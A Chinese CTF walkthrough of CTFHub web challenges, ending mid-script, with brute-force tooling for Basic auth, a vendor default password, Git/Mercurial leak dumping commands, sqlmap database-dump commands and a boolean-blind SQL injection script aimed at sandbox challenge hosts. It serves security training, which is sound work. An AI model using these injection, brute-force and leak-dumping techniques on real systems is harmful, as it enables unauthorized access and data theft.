Web
题目来自ctfhub技能树web部分,截至2020年11月11日题目更新
Web前置技能
操作系统
(空)
数据库
(空)
HTTP协议
请求方式
HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。
1.OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功,则它会在HTTP头中包含一个名为“Allow”的头,值是所支持的方法,如“GET,POST”。
2.HEAD
向服务器索要与GET请求相一致的响应,只不过响应体将不会被返回,可用于欲判断某个资源是否存在。
3.GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中。
4.POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。可能会导致新的资源的建立和/或已有资源 的修改。
5.PUT
向指定资源位置上传其最新内容。
6.DELETE
请求服务器删除Request-URI所标识的资源。
7.TRACE
回显服务器收到的请求,主要用于测试或诊断。
8.CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
http请求要使用CTFHUB的方式请求,这里需要用到curl命令
302跳转
HTTP临时重定向
打开burpsuite开启拦截,然后点击Give me flag,右键发送到repeater
点击发送,得到flag
Cookie
Cookie欺骗、认证、伪造
打开burpsuite开启拦截,刷新页面,把admin=0改成admin=1
然后放包
基础认证
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
点击click会出现一个登录页面
题目还带了一个附件,解压后是密码top100
那么思路很明确了,抓包爆破密码,抓到的包认证字段是base64编码的
解码来看看
这里需要把admin:对应的密码 转换成base64格式,需要用到python脚本了
import base64
dic = '100.txt'
with open(dic, 'r') as f:
password_dic = f.readlines()
username = 'admin:'
for password in password_dic:
str1=str.encode(username + password.strip())
enstr = base64.b64encode(str1)
enstr=str(enstr)
enstr=enstr.strip('b\'')
print(enstr)
把编码的数据粘贴到burpsuite测试器,爆破一下就可以了
响应包源代码
HTTP响应包源代码查看
打开网址,直接F12查看控制台,就可以看到flag了
HTML/CSS
(空)
程序语言
(空)
Web工具配置
虚拟机
(空)
Burpsuite
(空)
Chrome
(空)
Webshell
(空)
菜刀类工具
(空)
端口扫描
(空)
远程连接
(空)
目标爆破
(空)
信息泄露
目录遍历
点击进去,挨个目录找就行了
PHPINFO
直接搜索ctfhub{即可
备份文件下载
网站源码
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
查看三个文件都没有flag,于是在网站上访问txt文件,得到flag
bak文件
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
访问index.php.bak下载源码文件
vim缓存
当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
提示flag在index.php源码中,百度了一下vim缓存文件的后缀为.swp,因为vim缓存文件为隐藏的,所以要在前面再加一个点 访问.index.php.swp,就可以下载下来
使用文本文件打开是乱码,所以我们用16进制编辑器打开,得到flag
.DS_Store
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
直接访问.DS_Store,下载,打开还是乱码,上HxD
在文件中看到这么一串字符,复制出来,去掉点,感觉有点像md5加密过的字符,
先不管,直接访问,得到flag
Git泄露
Log
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
既然题目提示了git泄露漏洞,那么直接下载源码
python3 GitHacker.py http://challenge-3a9f32a6257c2086.sandbox.ctfhub.com:10080/.git
cd challenge-3a9f32a6257c2086_sandbox_ctfhub_com\:10080_/
git log //查看历史记录
git diff 1881aa7f722b53315cce8d7c068fd427e99fcf23 //比较版本
Stash
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
python3 GitHacker.py http://challenge-34dd4fc45ce6ce3b.sandbox.ctfhub.com:10080/.git
进入目录
git stash pop
cat 179512261914220.txt
Index
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
python3 GitHacker.py http://challenge-82987fffb8ed48b7.sandbox.ctfhub.com:10080/.git
cd challenge-82987fffb8ed48b7_sandbox_ctfhub_com\:10080_/
git log
git diff 4fec6a44c7d1116345e6872f69262767d69461fb
SYN泄露
工具:https://github.com/kost/dvcs-ripper
HG泄露
当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
工具:https://github.com/kost/dvcs-ripper
./rip-hg.pl -v -u http://challenge-774a58fd50e6acf9.sandbox.ctfhub.com:10080/.hg/
cd .hg
grep -r flag*
直接访问flag_2097022758.txt
密码口令
弱口令
通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。
直接抓包爆破,就爆破出来了
字典爆破
(空)
默认口令
搜索这个网关的默认密码,挨个试一试就可以了,用户名:eyougw 密码:admin@(eyou)
社会工程
(空)
SQL注入
整数型注入
输入3的时候没有回显,数据型注入不用加单引号
字符型注入
SQL注入 字符型注入, 尝试获取数据库中的 flag
大同小异,加个引号和注释就可以了
报错注入
查询列
布尔盲注
输入1出现query_success
输入2出现query_success
输入3出现query_error
查询只出现正确或者错误
可以手工注入,不过有点麻烦,可以了解一下即可
https://blog.csdn.net/weixin_45254208/article/details/107505114
三种方法
第一种 sqlmap
kali为例:
payload:
前提url中找到注入点
sqlmap -u "url" --dbs
sqlmap -u "url" -D [上一步得到的数据库名] --tables
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] --columns
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] -C [上一步得到的列名] --dump
第二种 burpsuite
参考:https://blog.csdn.net/weixin_43486981/article/details/107914742
第三种 脚本
import requests
import time
urlOPEN = 'http://challenge-024aac0fff094f88.sandbox.ctfhub.com:10080?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('table_name:', list)
# start = time.time()
table_name()
# stop = time.time()
# starOperatorTime.append(stop-start)
# print("所用的平均时间: " + str(sum(starOperatorTime)/100))
def column_name():
list = []
for k in range(0, 3): # 判断表里最多有4个字段
name = ''
for j in range(1, 9): # 判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get